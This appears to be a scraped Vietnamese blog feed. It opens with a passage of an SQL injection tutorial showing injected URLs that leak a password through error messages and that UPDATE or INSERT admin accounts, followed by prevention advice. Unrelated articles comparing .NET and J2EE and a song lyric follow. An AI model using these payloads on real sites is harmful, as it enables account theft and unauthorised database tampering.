Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".

10) Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'

11) Update/insert data vào CSDL
Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.
Để thay đổi password của "neo", bạn có thể làm như sau:
http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn chèn một record mới vào table:
http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"

12) Ngăn chặn SQL Injection
Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure mà bạn không dùng như:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

13) Tài liệu thao khảo
- How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
- Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
- A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
- Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
- Khác: http://www.digitaloffense.net/wargames01/IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6, http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

* Bài viết này được dịch và sửa đổi từ bài viết "SQL Injection Walkthrough" của xfocus.net.

Kiến trúc .NET trong mô hình ứng dụng thương mại điện tử

noreply@blogger.com (DangLVH) — Tue, 02 Oct 2007 14:26:00 +0000

Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.

Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.

1. Tổng quan về kiến trúc .NET

Như đã đề cập, J2EE không phải là một sản phẩm cụ thể mà chỉ là các đặc tả đưa ra bởi hãng Sun. Ngược lại, .NET là tập hợp các đặc tả, công nghệ, sản phẩm do Microsoft phát triển phục vụ cho việc phát triển các ứng dụng trên môi trường Internet, thương mại điện tử. Kiến trúc .NET bao gồm các thành phần chính sau:

Hạ tầng và các công cụ phát triển của .NET

Nền tảng và các công cụ phát triển ứng dụng của .NET bao gồm

- Visual Studio .NET: bộ công cụ phát triển ứng dụng. Bạn có thể sử dụng các công cụ phát triển quen thuộc như Visual Basic, Visual C++ hoặc các công cụ lập trình mới như Visual C#. Các ngôn ngữ lập trình khác cũng được hỗ trợ dựa trên sự hợp tác với các hang thứ ba: COBOL từ Fujitsu, Eiffel từ Interactive Software Engineering, ? Điểm mạnh của kiến trúc .NET là hỗ trợ phát triển đa ngôn ngữ (multi language). Các chương trình viết bởi các ngôn ngữ khác nhau sẽ được chuyển đổi sang một ngôn ngữ trung gian thống nhất (Intermediary Language - IL). Các file IL này được đóng gói (packaging) thành các đơn thể phân phối, sau đó được biên dịch bởi bộ biên dịch tức thời (Just in time IL compiler) và thực thi trong môi trường có tên gọi môi trường thực thi chung (Common Language Runtime - CLR).

- ASP.NET: là một thiết kế mới cho việc lập tình ở lớp hiển thị (presentation tier). ASP .NET được thiết kế nhằm đơn giản hoá việc lập trình trước thực trạng gia tǎng của các hệ thống máy khách (client) và các thiết bị đầu cuốI (device). Người lập trình không phải quan tâm nhiều đến việc phát triển giao diện cho nhiều loại máy khách thay vào đó họ chỉ phát triển một giao diện duy nhất ở mức hiển thị (trên cơ sở các đối tượng điều khiên GUI của ASP .NET), phần còn lại sẽ được điều phối và thực hiện bởi ASP .NET và môi trường thực thi chung CLR trên mỗi thiết bị, máy khách.

- ADO.NET: trong mô hình kiến trúc .NET, lớp cơ sở dữ liệu (database tier) được mặc định là SQL Server. Tuy nhiên, để đảm bảo tính mở, ADO.NET được đưa ra như là giao diện giữa lớp xử lý nghiệp vụ (business tier) và lớp cơ sở dữ liệu. ADO.NET giữ vai trò tương tự như JDBC trong mô hình kiến trúc J2EE. Với giao diện này, các ưng dụng .NET có thể truy nhập đến các cơ sở dữ liệu khác như Oracle, DB2, ?

- .NET Enterprise Server: tập hợp các sản phẩm dành cho máy chủ như: SQL Server, Application Server Center, Internet Security Acceleration Server (ISA Server), BizTalk Server, và Commerce Server.

- .NET Framework: đây là phần cốt lõi của kiến trúc .NET hoạt động gắn chặt với hệ điều hành. Nó cung cấp môi trường để thực thi các ứng dụng .NET. Bạn có thể hình dung .NET Framework tương tự như mô hình máy ảo Java (Java Virtual Machine - JVM và Java Runtime Environment - JRE) trong kiến trúc J2EE. Các thành phần cơ bản của .NET Framework bao gồm:

* Môi trường thực thi chung cho các mã chương trình .NET: CLR.
* Bộ biên dịch tức thời: Just in time IL compiler.
* Các thư viện chuẩn của hệ điều hành: Base Classes.
* Các giao diện đối tượng thành phần COM+.

Các dịch vụ cộng thêm của .NET

Bao gồm các dịch vụ chia sẻ thông tin dùng chung cho các ứng dụng trong môi trường Internet:

- .NET Passsport: có thể sử dụng cho việc xác thực người dùng (user authentication).
- Các dịch vụ lưu trữ, quản lý file.
- Dịch vụ quản lý thông tin người dùng.
- Dịch vụ quản lý lịch làm việc (Calendar service).

Các dịch vụ này có thể được cung cấp bởi Microsoft hoặc các đối tác của Microsoft.

Ư'ng dụng của kiến trúc .NET trong mô hình thương mại điện tử

2. So sánh hai kiến trúc .NET và J2EE

2.1. Những điểm tương đồng giữa hai kiến trúc .NET và J2EE

(ko có hình)

2.2. Sự khác biệt giữa hai kiến trúc

Khả nǎng hỗ trợ framework

Điều quan tâm đầu tiên khi xây dựng một ứng dụng thương mại điện tử đó là lựa chọn mô hình phát triển (framework). Nó quyết định tới sự thành công của ứng dụng đặc biệt là đối với các ứng dụng có quy mô lớn. Một mô hình phát triển tốt có thể giảm thời gian, chi phí xây dựng ứng dụng ít nhất là 10 lần so với việc sử dụng chắp vá các công cụ khác nhau.

Trong kiến trúc .NET mô hình phát triển này dựa trên thành phần có tên gọi Commerce Server. Với kiến trúc J2EE, bạn phải lựa chọn, kết nối các thành phần khác nhau để hình thành nên mô hình phát triển ứng dụng. Bản thân Sun không đưa ra mô hình phát triển ở dạng đóng gói nhưng có khá nhiểu sản phẩm từ các hãng thứ ba như: IBM WebSphere, và BEA WebLogic, ?

Ngôn ngữ

J2EE chỉ hỗ trợ ngôn ngữ lập trình Java và trong tương lai có lẽ cũng không có ngôn ngữ lập trình nào được hỗ trợ thêm bởi kiến trúc này. Trong khi đó .NET của Microsoft lại tiếp cận theo hướng hỗ trợ đa ngôn ngữ. Một nhóm phát triển ứng dụng .NET có thể sử dụng nhiều ngôn ngữ lập trình khác nhau tuỳ thuộc thế mạnh của từng cá nhân. Tuy nhiên, J2EE có đưa ra 2 cách tiếp cận để cho phép phát triển ứng dụng bởi nhiều ngôn ngữ lập trình khác nhau. Một là thông qua Java Native Interface, hai là tiếp cận sử dụng công nghệ CORBA.

Sự lựa chọn ngôn ngữ lập trình không phải là yếu tố quyết định sự lựa chọn của bạn giữa kiến trúc J2EE hay .NET. Tất nhiên, nếu bạn muốn sử dụng một hoặc nhiều ngôn ngữ lập trình trong một dự án thì J2EE rõ ràng không phải là sự lựa chọn của bạn. Kiến trúc .NET có hỗ trợ một ngôn ngữ lập trình C# (đọc là C sharp). Đây là ngôn ngữ có cú pháp và phong cách lập trình gần giống với Java. Người lập trình Java có thể chuyển sang lập trình với C# chỉ trong vài giờ.

Nếu bạn lựa chọn Java không phải bởi vấn đề ngôn ngữ mà bởi đặc tính khả chuyển thì J2EE là lựa chọn tốt hơn so với .NET. Chúng ta sẽ bàn thêm về tính khả chuyển trong phần dưới.

Tính khả chuyển

Tính khả chuyển là một đặc tính nổi bật của J2EE và ngôn ngữ lập trình Java. Một chương trình viết bởi Java được thực thi trên máy ảo Java (Java Virtual Machine) thay vì trực tiếp trên hệ điều hành cụ thể. Do đó mã chương trình có thể chuyển từ một hệ điều hành này sang một hệ điều hành khác (có hỗ trợ JVM) để thực thi một cách dễ dàng. Tính khả chuyển về hệ điều hành này của J2EE có được là do phần lớn các sản phẩm J2EE đều hỗ trợ cho nhiều hệ điều hành. Trong khi đó .NET chỉ bó buộc trong hệ điều hành Windows. Do vậy ứng dụng .NET gặp khó khǎn khi phân phối trên mạng.

Kết luận

Chúng ta đã có dịp cùng nhau tìm hiểu mô hình ứng dụng thương mại điện tử thể hiện qua hai kiến trúc điển hình được áp dụng phổ biến hiện nay là J2EE và .NET. Cần phải nhắc lại lần nữa J2EE chỉ là các đặc tả được đưa ra bởi hãng Sun, việc phát triển thành các sản phẩm đóng gói là do các hàng thứ ba đảm nhiệm (ví dụ: BEA WebLogic, IBM WebSphere). Ưu điểm của J2EE là tính khả chuyển: khả chuyển trong khía cạnh hãng phát triển sản phẩm lẫn khả chuyển đối với các hệ điều hành. Nhưng nhược điểm của J2EE là chỉ hỗ trợ một ngôn ngữ lập trình duy nhất đó là Java. Trên thực tế đôi khi sự lựa chọn hay chuyển đổi sang ngôn ngữ Java là không phù hợp đối với một số dạng nghiệp vụ.

Kiến trúc .NET được đưa ra bởi Microsoft. Việc phát triển thành sản phẩm thương mại cũng do Microsoft tiến hành. Nhược điểm của kiến trúc này là chỉ hỗ trợ cho hệ điều hành Windows (điều mà có lẽ Microsoft cho là tiêu chí phát triển của mình từ trước đến nay). Hiện tại cũng chưa có thông tin nào cho thấy sự hỗ trợ của .NET đối với các hệ điều hành khác. Tuy nhiên ưu điểm của .NET là hỗ trợ phát triển ứng dụng đa ngôn ngữ - điều mà J2EE không hỗ trợ. Bên cạnh đó việc áp dụng kiến trúc .NET còn có một số thuận lợi sau: chi phí phát triển thấp, chi phí đầu tư hệ thống ban đầu thấp (so sánh với chi phí cho các hệ thống Unix).

Việc lựa chọn kiến trúc nào cho việc phát triển ứng dụng phụ thuộc vào nhiểu yếu tố: phạm vi bài toán, môi trường triển khai, chi phí phát triển, bảo trì. Ngoài ra cũng cần xem xét đến khả nǎng nắm bắt sử dụng công nghệ của đội ngũ phát triển.

Chu Lâm Thái - Quan Tri Mang

Xây dựng khung ứng dụng J2EE với các mẫu thiết kế trong Java

noreply@blogger.com (DangLVH) — Tue, 02 Oct 2007 14:22:00 +0000

Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun "áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML".

Ư'ng dụng Web sử dụng J2EE (J2EE web application)

Web application framework

Công nghệ Internet đã và đang làm thay đổi hoàn toàn xu thế kinh doanh truyền thống, nó tạo ra một ?thị trường ảo không biên giới? trên Internet cho phép mọi khách hàng có thể duyệt và mua hàng ngày trên bàn làm việc của họ, đặc biệt mọi giao dịch này đều xảy ra trong thời gian thực. Các ứng dụng phục vụ cho mục đích này được gọi là ứng dụng thương mại điện tử (e-commerce application), đa số các trường hợp người dùng đều sử dụng ứng dụng này trên nền Web.

Mặc dù có nhiều cách cũng như các ngôn ngữ lập trình khác nhau để xây dựng một ứng dụng Web, mỗi công ty đều có một hướng phát triển riêng, tuy nhiên họ cũng đang cố gắng tìm ra những phương án và mô hình có thể sử dụng lại cho các dự án tiếp theo: được coi như là một khung ứng dụng cho các ứng dụng trên Web (web application framework).

Trong bài báo này chúng tôi muốn trình bày một phương án xây dựng một khung ứng dụng web hiệu quả mà các công ty trên thế giới như IBM, Oracle, Sun ?áp dụng rất hiệu quả trong các dự án của họ. Điểm đặc biệt hơn nữa là khung ứng dụng này sử dụng các công nghệ mới nhất luôn mang tính cạnh tranh như EJB2.0 (J2EE), XML?.

Luồng dữ liệu trên web và cấu trúc đa tầng với J2EE

Chắc chắn rằng mỗi dự án đều có một phương thức xử lý (bussiness layer) riêng biệt. Tuy nhiên để xây dựng được một framework chung cho nhiều dự án có yêu cầu khác nhau, chúng ta phải có gắng tìm ra được những điểm chung nhất của các chúng. ở đây tôi đưa ra một mô hình luồng dữ liệu trong cấu trúc đa tầng mà các dự án trên web thường sử dụng.

Với mô hình phân tầng này, một yêu cầu (request) từ phía client được phục vụ tại tầng xử lý J2EE chứ không phải tầng Web. Tuy nhiên để đảm bảo cho mô hình hoạt động hiệu quả hơn và cung cấp cho tầng J2EE một khả nǎng chuẩn hoá, thì đối tượng request được qua một vài thao tác tại tầng Web gọi là quá trình tiền xử lý. Các thao tác cơ bản như: trích lọc thông tin từ request, kiểm tra thông tin và xây dựng lại thông tin từ đối tượng request thành một đối tượng chuẩn Java (như Javabeans hoặc một vǎn bản XML).

Ngoài ra, bộ ánh xạ trong các module điều khiển của mô hình cho phép tạo ra một ứng dụng có khả nǎng cấu hình và mở rộng được (configurabitlity và extensibility). Với từng request đến, bộ điều khiển sẽ tìm kiếm ?đối tượng quản trị? (request handler) tương ứng để thực thi cho request này, như vậy khi cần thêm chức nǎng cho hệ thống thực chất là cấu hình thêm cho bộ ánh xạ này. Bộ ánh xạ có vai trò nhưng một bảng dữ liệu đơn giản nên file XML là sự lựa chọn thích hợp nhất.

Java hay Microsoft.NET

Tại sao lại Java?

Chúng ta sẽ phải làm gì trong cuộc chiến giữa Sun và Microsoft, cụ thể hơn giữa Java và .NET? Bạn sẽ lựa chọn cái gì để triển khai dự án của mình trong một loạt các hệ điều hành và các môi trường khác nhau như Windows, Linux, AS/400, Oracle? Hiện tại, IBM và Oracle đang đứng về phía Sun, nếu bạn muốn sản phẩm của bạn hỗ trợ tất cả các platform hiện nay kể cả Windows thì Java có thể là một sự lựa chọn rất hợp lý.

Với Microsoft.NET, sản phẩm của bạn sẽ chỉ chạy được trên nền Windows, bù lại thời gian phát triển dự án bằng .NET có thể sẽ nhanh hơn. Tuy nhiên trong những ứng dụng lớn thì về mặt tốc độ cũng như mức độ ổn định cũng không hẳn là đã vượt trội so với Java.

Các ngôn ngữ khác

Các phương án truyền thống còn lại như CGI (C, Perl), PHP hay ASP3.0? cũng có thể là sự lựa chọn cho các dự án nhỏ, tuy nhiên chúng khó có cơ hội cạnh tranh được với Java và .NET trong tương lai.

Các phương án thiết kế

Mẫu thiết kế (Design pattern)

Bạn định bắt đầu từ những bản đặc tả (specification) của các công nghệ ư? Muộn rồi, chúng ta không nên cố xây dựng lại cái bánh xe trong khi một loạt các công ty và nhóm phần mềm đã tiêu tốn nhiều thời gian công sức để tìm ra những phương án tối ưu cho từng vấn đề họ đã gặp phải trong quá trình phát triển các dự án. Bắt đầu từ đầu những nǎm 90 thuật ngữ design patterns chính thức ra đời nhằm chỉ các giải pháp giải quyết các vấn đề thường gặp trong quá trình xây dựng phần mềm. Design pattern không phải là những khái niệm lý thuyết mà được đúc rút ra từ những kinh nghiệm thực tế của các chuyên gia phần mềm trên thế giới.

Các mẫu thiết kế cho J2EE mà một phần được trình bày trong quyển ?J2EE Design Pattern? được kiểm nghiệm thực tế rất thành công trong việc giải quyết các vấn đề nảy sinh trong quá trình phát triển ứng dụng J2EE. Ví dụ với tầng Web của ứng dụng J2EE kinh điển, nếu chúng ta bắt tay từ đặc tả kỹ thuật (specification) của JSP và Servlet chúng cho phép xây dựng được những trang web động riêng biệt rất tốt nhưng lại hỗ trợ rất ít trong việc quản lý luồng dữ liệu giữa các trang với nhau, đặc biệt chúng không tách rời 2 tầng hiển thị (presentation) và tầng xử lý (bussiness).

Mô hình MVC (Model- View-Control)

MVC là một mô hình thiết kế mang tính tổng thể để giải quyết vấn đề trên, nó được tạo ra bởi Krasner và Pope nǎm 1988 cho Smalltalk, hiện tại được IBM và Apache ứng dụng trong các dự án của họ rất thành công. Đây là một giải pháp cho phép xây dựng nên các ứng dụng phân tầng một cách rất hiệu quả bằng cách tạo ra những phương thức quản lý từng tầng một cách riêng rẽ như mô hình ở hình 2. Trong J2EE, thì MVC cũng được xây dựng dựa trên những tính nǎng mạnh của công nghệ JSP và Servlet

Khung ứng dụng (application framework)

Không phủ nhận được điểm mạnh của các mẫu thiết kế, vấn đề là ở chỗ chúng chỉ giải quyết những vấn đề riêng rẽ, làm sao để sử dụng và kết hợp chúng lại trong các dự án J2EE. Câu hỏi này đã nảy sinh và hiện nay một thuật ngữ mới chỉ một mẫu thiết kế tổng quát hơn cho từng ứng dụng lĩnh vực cụ thể, đó là framework. Các dự án thực tế để tạo ra các framework này cũng đang được hoàn thiện. Như vậy quá trình phát triển về mặt thiết kế dự án sử dụng công nghệ J2EE có thể được mô tả.

Chọn lựa một framework tốt giúp bạn giảm thiểu được thời gian và nâng cao chất lượng của sản phẩm. Nó giúp người lập trình chỉ cần chú tâm vào việc xây dựng mức trên thuộc tầng xử lý của ứng dụng thay vì phải làm việc ở mức thấp với từng dòng lệnh một cách nhàm chán với những sai xót cá nhân của người lập trình.

Nguyễn Tuấn Khang - Quan Tri Mang

Let The Music Heal Your Soul - Bravo All Stars

noreply@blogger.com (DangLVH) — Sun, 30 Sep 2007 03:18:00 +0000

Download Here

Oh if someone writes a song with a
simple Rhyme (Touch)
Just a song where is feeling show (`N Sync)
And if someone feels the same about the
simple song (Moffats)
oh sometimes you can hear them sing (Gil)
music gives you Happiness and Sadness (Sqeezer)
But it also, also heals your soul (Nick-BsB)

Chorus
Let the music heal your soul
let the music take control
let the music give you the power to
move any mountain

If someone plays piano with some simple
chords (Touch¨¦)
So melodic and endearing, too (Aaron)
Oh if someone plays guitar with the old
piano (Brian-BsB)
And maybe you can hear them sing (The Boyz)
Music gives you Happiness and Sadness (Nick-BsB)
But it also (`N Sync)
it also heals your soul (Blumchen)

Chorus

(Brian-BsB)
Let the music heal your soul
let the music take control
let the music heal your soul

Chorus 4x